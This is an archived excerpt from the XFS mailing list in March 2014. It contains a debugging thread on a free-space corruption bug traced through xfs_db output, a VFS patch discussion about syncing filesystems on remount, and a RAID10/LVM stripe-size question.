>> >> binaries and trace files. At the time the issue occurred I had been >> >> running Oracle with SQL*NET server tracing enabled. The affected XFS >> >> had filled up 100% with trace files several times; I was periodically >> >> executing rm -f * in the trace file directory, which would reduce the >> >> file system occupancy from 100% to 3%. I had an Oracle load generati= ng >> >> tool running, so new log files were being created with some frequency= . >> >>=20 >> >> The issue occurred during one of my rm -f * executions; afterwards th= e >> >> file system would only produce errors. Here is the traceback: >> >>=20 >> >> [1552067.297192] XFS: Internal error XFS_WANT_CORRUPTED_GOTO at line = 1602 of file fs/xfs/xfs_alloc.c. Caller 0xffffffffa04c4905 >> >=20 >> > So, freeing a range that is already partially free. The problem >> > appears to be in AG 15, according to the repair output. >> >=20 >> >> https://dl.dropboxusercontent.com/u/31522929/xfs-double-free-xfs_meta= dump-before-repair.gz >> >=20 >> > AGF 15 is full: >> >=20 >> > xfs_db> agf 15 >> > xfs_db> p >> > magicnum =3D 0x58414746 >> > versionnum =3D 1 >> > seqno =3D 15 >> > length =3D 3276783 >> > bnoroot =3D 1 >> > cntroot =3D 2 >> > bnolevel =3D 1 >> > cntlevel =3D 1 >> > flfirst =3D 0 >> > fllast =3D 3 >> > flcount =3D 4 >> > freeblks =3D 1 >> > longest =3D 1 >> > btreeblks =3D 0 >> > uuid =3D 00000000-0000-0000-0000-000000000000 >> > lsn =3D 0 >> > crc =3D 0 >> >=20 >> > And the one free block (other than the minimum 4 on teh AGFL) is: >> >=20 >> > xfs_db> p >> > magic =3D 0x41425442 >> > level =3D 0 >> > numrecs =3D 1 >> > leftsib =3D null >> > rightsib =3D null >> > recs[1] =3D [startblock,blockcount] 1:[3119876,1] >> >=20 >> > But: >> >=20 >> > data fork in ino 940862056 claims dup extent, off - 11, start - 588366= 92, cnt 1 >> > correcting nextents for inode 940862056 >> > bad data fork in inode 940862056 >> > would have cleared inode 940862056 >> >=20 >> > the block number here is in AG 14, which has much more free space: >> >=20 >> > xfs_db> p >> > magicnum =3D 0x58414746 >> > versionnum =3D 1 >> > seqno =3D 14 >> > length =3D 3276783 >> > bnoroot =3D 1 >> > cntroot =3D 2 >> > bnolevel =3D 1 >> > cntlevel =3D 1 >> > flfirst =3D 42 >> > fllast =3D 45 >> > flcount =3D 4 >> > freeblks =3D 2092022 >> > longest =3D 2078090 >> > btreeblks =3D 0 >> >=20 >> > which is in 2 extents: >> >=20 >> > xfs_db> a bnoroot >> > xfs_db> p >> > magic =3D 0x41425442 >> > level =3D 0 >> > numrecs =3D 2 >> > leftsib =3D null >> > rightsib =3D null >> > recs[1-2] =3D [startblock,blockcount] 1:[102466,13932] 2:[116476,20780= 90] >> > xfs_db> convert agno 14 agbno 102466 fsb >> > 0x3819042 (58822722) >> > xfs_db> convert agno 14 agbno 116476 fsb >> > 0x381c6fc (58836732) >> >=20 >> > and so 58836692 is just short of the second free space. Looking at >> > all the other dup extent claims, they a remostly adjacent to the >> > left edge of these two free spaces. No surprise - that's the way >> > allocation occurs. >> >=20 >> > So, we've got a state where the allocation btree contains a >> > corruption, so a shutdown occurs. The log has captured that >> > corruption when it was made, so log recovery reintroduces that >> > corruption. And so when the extent is freed after log recovery, the >> > corruption is tripped over again. >> >=20 >> > There's two checkpoints in the log, both very small. The last >> > modification to AGI 14 is there before it: >> >=20 >> > BUF: cnt:2 total:2 a:0x669350 len:24 a:0x6693d0 len:128=20 >> > BUF: #regs:2 start blkno:0x15dff891 len:1 bmap size:1 fl= ags:0x2800 >> > AGF Buffer: (XAGF) >> > ver:1 seq#:14 len:3276783 =20 >> > root BNO:1 CNT:2 >> > level BNO:1 CNT:1 >> > 1st:42 last:45 cnt:4 freeblks:2092020 longest:2078090 >> >=20 >> > As is the freespace btree buffer modification: >> >=20 >> > BUF: cnt:2 total:2 a:0x669460 len:24 a:0x6694e0 len:128=20 >> > BUF: #regs:2 start blkno:0x15dff898 len:8 bmap size:1 fl= ags:0x2000 >> > BUF DATA >> > 0 42544241 4000000 ffffffff ffffffff cb620100 1000000 fc7c0100 200= 0000=20 >> > magic =3D BTBA >> > level =3D 0 >> > numrecs =3D 4 >> > leftsib =3D NULLFSBLOCK >> > rightsib =3D NULLFSBLOCK >> > rec[0] =3D 0x162cb, 1 (90827,1) >> > rec[1] =3D 0x17cfc, 2 (97532,1) >> > 8 47900100 67360000 fcc60100 8ab51f00 71ff3100 5000000 71ff3100 500= 0000=20 >> > rec[2] =3D 0x19047, 0x3667 (102471,13927) >> > rec[3] =3D 0x1c6fc, 0x1fb58a (116476,2078090) >> >=20 >> > so, from the pre-recovery case above, we've got two new freespaces >> > in rec[0-1], rec[2] has 5 blocks removed from the left edge, and >> > rec[3] is unchanged. >> >=20 >> > Confirming the ABTC buffer contains the same extents: >> >=20 >> > BUF: cnt:2 total:2 a:0x669570 len:24 a:0x6695f0 len:128=20 >> > BUF: #regs:2 start blkno:0x15dff8a0 len:8 bmap size:1 fl= ags:0x2000 >> > BUF DATA >> > 0 43544241 4000000 ffffffff ffffffff cb620100 1000000 fc7c0100 200= 0000=20 >> > magic =3D CTBA >> > level =3D 0 >> > numrecs =3D 4 >> > leftsib =3D NULLFSBLOCK >> > rightsib =3D NULLFSBLOCK >> > rec[0] =3D 0x162cb, 1 (90827,1) >> > rec[1] =3D 0x17cfc, 2 (97532,1) >> > 8 47900100 67360000 fcc60100 8ab51f00 71ff3100 5000000 71ff3100 500= 0000=20 >> > rec[2] =3D 0x19047, 0x3667 (102471,13927) >> > rec[3] =3D 0x1c6fc, 0x1fb58a (116476,2078090) >> > 10 8ca0100 8000000 71ff3100 5000000 71ff3100 5000000 71ff3100 500= 0000=20 >> > 18 71ff3100 5000000 71ff3100 5000000 71ff3100 5000000 71ff3100 500= 0000=20 >> >=20 >> > It does. So the btrees contain consistent information, and so it's >> > unlikely that we have a free space btree corruption in the log. So >> > let's look at what was freed: >> >=20 >> > The EFI/EFDs in the log are: >> >=20 >> > EFI: cnt:1 total:1 a:0x668670 len:32=20 >> > EFI: #regs:1 num_extents:1 id:0xffff881496024af0 >> > (s: 0x38162cb, l: 1)=20 >> > EFD: cnt:1 total:1 a:0x6684d0 len:32=20 >> > EFD: #regs: 1 num_extents: 1 id: 0xffff881496024af0 >> > .... >> > EFI: cnt:1 total:1 a:0x667da0 len:32=20 >> > EFI: #regs:1 num_extents:1 id:0xffff8814960244b0 >> > (s: 0x3817cfc, l: 1)=20 >> > EFD: cnt:1 total:1 a:0x65fbd0 len:32=20 >> > EFD: #regs: 1 num_extents: 1 id: 0xffff8814960244b0 >> > .... >> > EFI: cnt:1 total:1 a:0x669250 len:32=20 >> > EFI: #regs:1 num_extents:1 id:0xffff881496024000 >> > (s: 0x3817cfd, l: 1)=20 >> > EFD: cnt:1 total:1 a:0x6692d0 len:32=20 >> > EFD: #regs: 1 num_extents: 1 id: 0xffff881496024000 >> >=20 >> > These are all in ag#14, and have agbnos of 0x162cb, 0x17cfc and >> > 0x17cfd. This corresponds exactly to the two new records in the AG >> > btree. The one remaining EFI doesn't have an EFD in th elog, so this >> > is what is being replayed: >> >=20 >> > EFI: cnt:1 total:1 a:0x669f40 len:32=20 >> > EFI: #regs:1 num_extents:1 id:0xffff881496024640 >> > (s: 0x3869ff9, l: 1)=20 >> >=20 >> > Which is at agbno 0x69ff9 (434169). That's off to the right of the >> > start of the last freespace range in rec[3]. rec[3] starts at >> > 0x1c6fc and ends at 0x1fb58a. That means this efi clearly lands >> > inside that freespace range - it's not an edge case, it's deep in >> > the interior of the freespace range. >> >=20 >> > The inode logged just before the EFI - likely it's owner: >> >=20 >> > INO: cnt:2 total:2 a:0x668040 len:56 a:0x667fb0 len:96=20 >> > INODE: #regs:2 ino:0x3862d698 flags:0x1 dsize:0 >> > CORE inode: >> > magic:IN mode:0x81b0 ver:2 format:2 onlink:0 >> > uid:1001 gid:1001 nlink:0 projid:0 >> > atime:1394495104 mtime:1394495104 ctime:1394554526 >> > flushiter:1 >> > size:0x0 nblks:0x0 exsize:0 nextents:0 anextents:0 >> > forkoff:13 dmevmask:0x0 dmstate:0 flags:0x0 gen:-121998876 >> >=20 >> > Is an unlinked inode that has had all it's block removed. Yup - it's >> > on the unlinked list: >> >=20 >> > agi unlinked bucket 24 is 6477464 in ag 14 (inode=3D946001560) >> >=20 >> > So, prior to recovery, what did it contain? it's got 287 bytes of >> > date, and a single extent: >> >=20 >> > u.bmx[0] =3D [startoff,startblock,blockcount,extentflag] 0:[0,59154425= ,1,0] >> >=20 >> > xfs_db> convert fsb 59154425 agno >> > 0xe (14) >> > xfs_db> convert fsb 59154425 agbno >> > 0x69ff9 (434169) >> >=20 >> > Ok, so the corruption, whatever it was, happened a long time ago, >> > and it's only when removing the file that it was tripped over. >> > There's nothing more I can really get from this - the root cause of >> > the corruption is long gone. >> >=20 >> > Cheers, >> >=20 >> > Dave. >> > --=20 >> > Dave Chinner >> > david@fromorbit.com >>=20 >> Thanks Dave. >>=20 >> Upon restarting my testing I immediately hit this error again (or a very >> similar one in any case). I suspect that the corruption you've noted wa= s >> not properly repaired by xfs_repair. >=20 > There are some kinds of corruption that xfs_repair was finding but not > repairing until commit ea4a8de1e1. I suggest you upgrade if you don't ha= ve > this commit. How long ago did you make this filesystem? >=20 > Thanks, > Ben I'm using the xfs_repair that came with RHEL 7.0 post-beta snapshot 4; -V says "xfs_repair version 3.2.0-alpha2". I don't think I have access to the commit at which it was built. I can certainly try the latest version, though. I made this file system on February 17th, 2014. I happen to remember because I was disappointed to be working on Presidents' Day :) --Morgan From swhiteho@redhat.com Thu Mar 13 12:10:36 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id AC8A47F3F for ; Thu, 13 Mar 2014 12:10:36 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 41D09AC004 for ; Thu, 13 Mar 2014 10:10:36 -0700 (PDT) X-ASG-Debug-ID: 1394730632-04bdf076f026f150001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id NxybemX9GaimHKyQ for ; Thu, 13 Mar 2014 10:10:32 -0700 (PDT) X-Barracuda-Envelope-From: swhiteho@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx02.intmail.prod.int.phx2.redhat.com (int-mx02.intmail.prod.int.phx2.redhat.com [10.5.11.12]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s2DGUGXY003582 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 13 Mar 2014 12:30:16 -0400 Received: from [10.36.5.242] (vpn1-5-242.ams2.redhat.com [10.36.5.242]) by int-mx02.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s2DGTtPk032109; Thu, 13 Mar 2014 12:29:56 -0400 Subject: Re: [Cluster-devel] [PATCH] fs: push sync_filesystem() down to the file system's remount_fs() From: Steven Whitehouse X-ASG-Orig-Subj: Re: [Cluster-devel] [PATCH] fs: push sync_filesystem() down to the file system's remount_fs() To: Jan Kara Cc: "Theodore Ts'o" , jfs-discussion@lists.sourceforge.net, Anders Larsen , cluster-devel@redhat.com, linux-mtd@lists.infradead.org, Mikulas Patocka , Petr Vandrovec , codalist@TELEMANN.coda.cs.cmu.edu, linux-cifs@vger.kernel.org, linux-fsdevel@thunk.org, Ext4 Developers List , Evgeniy Dushistov , Kees Cook , fuse-devel@lists.sourceforge.net, reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, linux-nilfs@vger.kernel.org, OGAWA Hirofumi , linux-nfs@vger.kernel.org, Artem Bityutskiy , linux-ntfs-dev@lists.sourceforge.net, samba-technical@lists.samba.org, Adrian Hunter , linux-f2fs-devel@lists.sourceforge.net, ocfs2-devel@oss.oracle.com, linux-fsdevel@vger.kernel.org, Phillip Lougher , linux-btrfs@vger.kernel.org In-Reply-To: <20140313162319.GA504@quack.suse.cz> References: <20140313073936.GA14663@infradead.org> <1394720456-16629-1-git-send-email-tytso@mit.edu> <20140313162319.GA504@quack.suse.cz> Content-Type: text/plain; charset="UTF-8" Organization: Red Hat UK Ltd Date: Thu, 13 Mar 2014 16:28:23 +0000 Message-ID: <1394728103.2767.32.camel@menhir> Mime-Version: 1.0 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.67 on 10.5.11.12 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1394730632 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Hi, On Thu, 2014-03-13 at 17:23 +0100, Jan Kara wrote: > On Thu 13-03-14 10:20:56, Ted Tso wrote: > > Previously, the no-op "mount -o mount /dev/xxx" operation when the > ^^remount > > > file system is already mounted read-write causes an implied, > > unconditional syncfs(). This seems pretty stupid, and it's certainly > > documented or guaraunteed to do this, nor is it particularly useful, > > except in the case where the file system was mounted rw and is getting > > remounted read-only. > > > > However, it's possible that there might be some file systems that are > > actually depending on this behavior. In most file systems, it's > > probably fine to only call sync_filesystem() when transitioning from > > read-write to read-only, and there are some file systems where this is > > not needed at all (for example, for a pseudo-filesystem or something > > like romfs). > Hum, I'd avoid this excercise at least for filesystem where > sync_filesystem() is obviously useless - proc, debugfs, pstore, devpts, > also always read-only filesystems such as isofs, qnx4, qnx6, befs, cramfs, > efs, freevxfs, romfs, squashfs. I think you can find a couple more which > clearly don't care about sync_filesystem() if you look a bit closer. > > > Honza I guess the same is true for other file systems which are mounted ro too. So maybe a check for MS_RDONLY before doing the sync in those cases? Steve. From david@fromorbit.com Thu Mar 13 17:59:23 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id E604F7F3F for ; Thu, 13 Mar 2014 17:59:22 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 705F3AC004 for ; Thu, 13 Mar 2014 15:59:19 -0700 (PDT) X-ASG-Debug-ID: 1394751555-04cbb054b6337880001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id F3t5JWZEmE5WQBmM for ; Thu, 13 Mar 2014 15:59:16 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: At9rAAY4IlN5LJYePGdsb2JhbABZgwY7gwumPgQHkxuFWIEZFwMBAQEBHxkNKIIlAQEBAwEnExwjBQsIAxgJAyIPBSUDBxoTh3EHDtQKFxaMWYFuB4MkgRQEiwyNOIQckVMp Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail05.adl6.internode.on.net with ESMTP; 14 Mar 2014 09:28:48 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WOEaI-0004Ot-9O; Fri, 14 Mar 2014 09:58:42 +1100 Date: Fri, 14 Mar 2014 09:58:42 +1100 From: Dave Chinner To: "Mears, Morgan" Cc: "xfs@oss.sgi.com" Subject: Re: Possible XFS bug encountered in 3.14.0-rc3+ Message-ID: <20140313225842.GA10057@dastard> X-ASG-Orig-Subj: Re: Possible XFS bug encountered in 3.14.0-rc3+ References: <33A0129EBFD46748804DE81B354CA1B21C0DC77A@SACEXCMBX06-PRD.hq.netapp.com> <20140312230241.GE6851@dastard> <33A0129EBFD46748804DE81B354CA1B21C0DDBAE@SACEXCMBX06-PRD.hq.netapp.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <33A0129EBFD46748804DE81B354CA1B21C0DDBAE@SACEXCMBX06-PRD.hq.netapp.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1394751555 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, BSF_SC5_SA210e X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3853 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.00 BSF_SC5_SA210e Custom Rule SA210e On Thu, Mar 13, 2014 at 02:47:58PM +0000, Mears, Morgan wrote: > On Wed, Mar 12, 2014 at 07:03:14PM -0400, Dave Chinner wrote: > > On Wed, Mar 12, 2014 at 08:14:32PM +0000, Mears, Morgan wrote: > >> Hi, > >> > >> Please CC me on any responses; I don't subscribe to this list. > >> > >> I ran into a possible XFS bug while doing some Oracle benchmarking. My test > >> system is running a 3.14.0-rc3+ kernel built from the for-next branch of > >> git://git.kernel.org/pub/scm/linux/kernel/git/device-mapper/linux-dm.git > >> on 2014-02-19 (last commit 1342f11e713792e53e4b7aa21167fe9caca81c4a). > >> > >> The XFS instance in question is 200 GB and should have all default > >> parameters (mkfs.xfs /dev/mapper/). It contains Oracle > >> binaries and trace files. At the time the issue occurred I had been > >> running Oracle with SQL*NET server tracing enabled. The affected XFS > >> had filled up 100% with trace files several times; I was periodically > >> executing rm -f * in the trace file directory, which would reduce the > >> file system occupancy from 100% to 3%. I had an Oracle load generating > >> tool running, so new log files were being created with some frequency. > >> > >> The issue occurred during one of my rm -f * executions; afterwards the > >> file system would only produce errors. Here is the traceback: > >> > >> [1552067.297192] XFS: Internal error XFS_WANT_CORRUPTED_GOTO at line 1602 of file fs/xfs/xfs_alloc.c. Caller 0xffffffffa04c4905 > > > > So, freeing a range that is already partially free. The problem > > appears to be in AG 15, according to the repair output. > > > >> https://dl.dropboxusercontent.com/u/31522929/xfs-double-free-xfs_metadump-before-repair.gz > > > > AGF 15 is full: .... > > on the unlinked list: > > > > agi unlinked bucket 24 is 6477464 in ag 14 (inode=946001560) > > > > So, prior to recovery, what did it contain? it's got 287 bytes of > > date, and a single extent: > > > > u.bmx[0] = [startoff,startblock,blockcount,extentflag] 0:[0,59154425,1,0] > > > > xfs_db> convert fsb 59154425 agno > > 0xe (14) > > xfs_db> convert fsb 59154425 agbno > > 0x69ff9 (434169) > > > > Ok, so the corruption, whatever it was, happened a long time ago, > > and it's only when removing the file that it was tripped over. > > There's nothing more I can really get from this - the root cause of > > the corruption is long gone. > > > > Cheers, > > > > Dave. > > -- > > Dave Chinner > > david@fromorbit.com > > Thanks Dave. > > Upon restarting my testing I immediately hit this error again (or a very > similar one in any case). I suspect that the corruption you've noted was > not properly repaired by xfs_repair. What happens if you run xfs_repair twice in a row? > I captured all the same data as before, as well as an xfs_metadump from > after the xfs_repair. If you're interested, it's all in this tarball: > > https://dl.dropboxusercontent.com/u/31522929/xfs-unlink-internal-error-2013-03-13-1.tar.gz Ok, that's triggered the right side btree checks, not the left side like the previous one. It's probably AG 14 again. EFI: EFI: cnt:1 total:1 a:0x19c77b0 len:48 EFI: #regs:1 num_extents:2 id:0xffff880f8011c640 (s: 0x3816a3b, l: 112) (s: 0x3817cb1, l: 1920) So, two extents being freed: xfs_db> convert fsb 0x3816a3b agno 0xe (14) xfs_db> convert fsb 0x3816a3b agbno 0x16a3b (92731) xfs_db> convert fsb 0x3817cb1 agbno 0x17cb1 (97457) Surrounding free space regions: 66:[92551,180] 67:[92856,2] -> used space range [92731,125] ... 172:[97415,42] 173:[97622,4] -> used space range [97457,65] So the first extent is good. The second, however, aligns correctly to the free space region to the left, but massively overruns the used space region which is only 165 blocks long. So it's a similar problem here - both the free space trees are internally consistent, the inode BMBT is internally consistent, but the space that they track is not consistent. After repair: 63:[92551,292] 64:[92856,2] -> correctly accounted .... 169:[97415,49] 170:[97468,56] 171:[97528,168] -> used space [97464,2], [97524,4] But that's a very different freespace map around the second extent in the EFI. It's most definitely not a contiguous range of 1920 blocks now that repair has made sure the inode has no extents and the range is correctly accounted for, so that indicates that the length in the EFI is suspect. Maybe it should only be 7 blocks? Did you run the filesystem out of space again before this happened? If you don't hit enospc, does removing files trigger this corruption? Cheers, Dave. -- Dave Chinner david@fromorbit.com From tytso@thunk.org Thu Mar 13 18:15:56 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 964E27F50 for ; Thu, 13 Mar 2014 18:15:56 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 73003304032 for ; Thu, 13 Mar 2014 16:15:53 -0700 (PDT) X-ASG-Debug-ID: 1394752551-04cb6c567652c7e0001-NocioJ Received: from imap.thunk.org (imap.thunk.org [74.207.234.97]) by cuda.sgi.com with ESMTP id CBbee90A2x0i1GMq (version=TLSv1 cipher=AES128-SHA bits=128 verify=NO) for ; Thu, 13 Mar 2014 16:15:51 -0700 (PDT) X-Barracuda-Envelope-From: tytso@thunk.org X-Barracuda-Apparent-Source-IP: 74.207.234.97 Received: from root (helo=closure.thunk.org) by imap.thunk.org with local-esmtp (Exim 4.80) (envelope-from ) id 1WOEqB-0001je-JW; Thu, 13 Mar 2014 23:15:07 +0000 Received: by closure.thunk.org (Postfix, from userid 15806) id 07704580286; Thu, 13 Mar 2014 19:15:07 -0400 (EDT) DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=thunk.org; s=mail; t=1394752507; bh=z6pGlVhGbzg+186mZxHeYl9XaSApN5caLBwQBXJ7Fi0=; h=Date:From:To:Cc:Subject:References:In-Reply-To:From; b=Zt3RrhSzs2KrPNPxNPxuTK/7IyC/hRBJdYDiEPLENl8pcbBN2kE6cU0BUFAZTU6/n 28ak4T3bcZBN3Zw26W4yA5X2cgbxLU6rnGGFET10oQ1meKYXcczt6B0myufgaJDCpt 8rRdUBkPFtjnOQV2+RaGCjrBlDZpxC/cvKtwKrBU= Date: Thu, 13 Mar 2014 19:15:06 -0400 From: Theodore Ts'o To: Steven Whitehouse Cc: Jan Kara , jfs-discussion@lists.sourceforge.net, Anders Larsen , cluster-devel@redhat.com, linux-mtd@lists.infradead.org, Mikulas Patocka , Petr Vandrovec , codalist@TELEMANN.coda.cs.cmu.edu, linux-cifs@vger.kernel.org, linux-fsdevel@thunk.org, Ext4 Developers List , Evgeniy Dushistov , Kees Cook , fuse-devel@lists.sourceforge.net, reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, linux-nilfs@vger.kernel.org, OGAWA Hirofumi , linux-nfs@vger.kernel.org, Artem Bityutskiy , linux-ntfs-dev@lists.sourceforge.net, samba-technical@lists.samba.org, Adrian Hunter , linux-f2fs-devel@lists.sourceforge.net, ocfs2-devel@oss.oracle.com, linux-fsdevel@vger.kernel.org, Phillip Lougher , linux-btrfs@vger.kernel.org Subject: Re: [Cluster-devel] [PATCH] fs: push sync_filesystem() down to the file system's remount_fs() Message-ID: <20140313231506.GB16785@thunk.org> X-ASG-Orig-Subj: Re: [Cluster-devel] [PATCH] fs: push sync_filesystem() down to the file system's remount_fs() References: <20140313073936.GA14663@infradead.org> <1394720456-16629-1-git-send-email-tytso@mit.edu> <20140313162319.GA504@quack.suse.cz> <1394728103.2767.32.camel@menhir> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1394728103.2767.32.camel@menhir> User-Agent: Mutt/1.5.21 (2010-09-15) X-SA-Exim-Connect-IP: X-SA-Exim-Mail-From: tytso@thunk.org X-SA-Exim-Scanned: No (on imap.thunk.org); SAEximRunCond expanded to false X-Barracuda-Connect: imap.thunk.org[74.207.234.97] X-Barracuda-Start-Time: 1394752551 X-Barracuda-Encrypted: AES128-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3853 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Thu, Mar 13, 2014 at 04:28:23PM +0000, Steven Whitehouse wrote: > > I guess the same is true for other file systems which are mounted ro > too. So maybe a check for MS_RDONLY before doing the sync in those > cases? My original patch moved the sync_filesystem into the check for MS_RDONLY in the core VFS code. The objection was raised that there might be some file system out there that might depend on this behaviour. I can't imagine why, but I suppose it's at least theoretically possible. So the idea is that this particular patch is *guaranteed* not to make any difference. That way there can be no question about the patch'es correctness. I'm going to follow up with a patch for ext4 that does exactly that, but the idea is to allow each file system maintainer to do that for their own file system. I could do that as well for file systems that are "obviously" read-only, but then I'll find out that there's some wierd case where the file system can be used in a read-write fashion. (Example: UDF is normally used for DVD's, but at least in theory it can be used read/write --- I'm told that Windows supports read-write UDF file systems on USB sticks, and at least in theory it could be used as a inter-OS exchange format in situations where VFAT and exFAT might not be appropriate for various reasons.) Cheers, - Ted From stan@hardwarefreak.com Thu Mar 13 19:12:02 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 0281E7F50 for ; Thu, 13 Mar 2014 19:12:02 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id D2B50304051 for ; Thu, 13 Mar 2014 17:11:58 -0700 (PDT) X-ASG-Debug-ID: 1394755914-04cb6c567552fee0001-NocioJ Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id KBqVMNNKBRr9Ijve for ; Thu, 13 Mar 2014 17:11:54 -0700 (PDT) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id 217E86C128; Thu, 13 Mar 2014 19:11:54 -0500 (CDT) Message-ID: <53224948.6080907@hardwarefreak.com> Date: Thu, 13 Mar 2014 19:11:52 -0500 From: Stan Hoeppner Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Ray Van Dolson CC: xfs@oss.sgi.com Subject: Re: sw and su for hardware RAID10 (w/ LVM) References: <20140311045639.GA18159@esri.com> <532046E9.9090302@hardwarefreak.com> <20140313142342.GA7582@esri.com> X-ASG-Orig-Subj: Re: sw and su for hardware RAID10 (w/ LVM) In-Reply-To: <20140313142342.GA7582@esri.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1394755914 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 3/13/2014 9:23 AM, Ray Van Dolson wrote: > On Wed, Mar 12, 2014 at 06:37:13AM -0500, Stan Hoeppner wrote: >> On 3/10/2014 11:56 PM, Ray Van Dolson wrote: >>> RHEL6.x + XFS that comes w/ Red Hat's scalable file system add on. We >>> have two PowerVault MD3260e's each configured with a 30 disk RAID10 (15 >>> RAID groups) exposed to our server. Segment size is 128K (in Dell's >>> world I'm not sure if this means my stripe width is 128K*15?) >> >> 128KB must be the stripe unit. >> >>> Have set up a concatenated LVM volume on top of these two "virtual >>> disks" (with lvcreate -i 2). >> >> This is because you created a 2 stripe array, not a concatenation. >> >>> By default LVM says it's used a stripe width of 64K. >>> >>> # lvs -o path,size,stripes,stripe_size >>> Path LSize #Str Stripe >>> /dev/agsfac_vg00/lv00 100.00t 2 64.00k >> >> from lvcreate(8) >> >> -i, --stripes Stripes >> Gives the number of stripes... >> >>> Unsure if these defaults should be adjusted. >>> 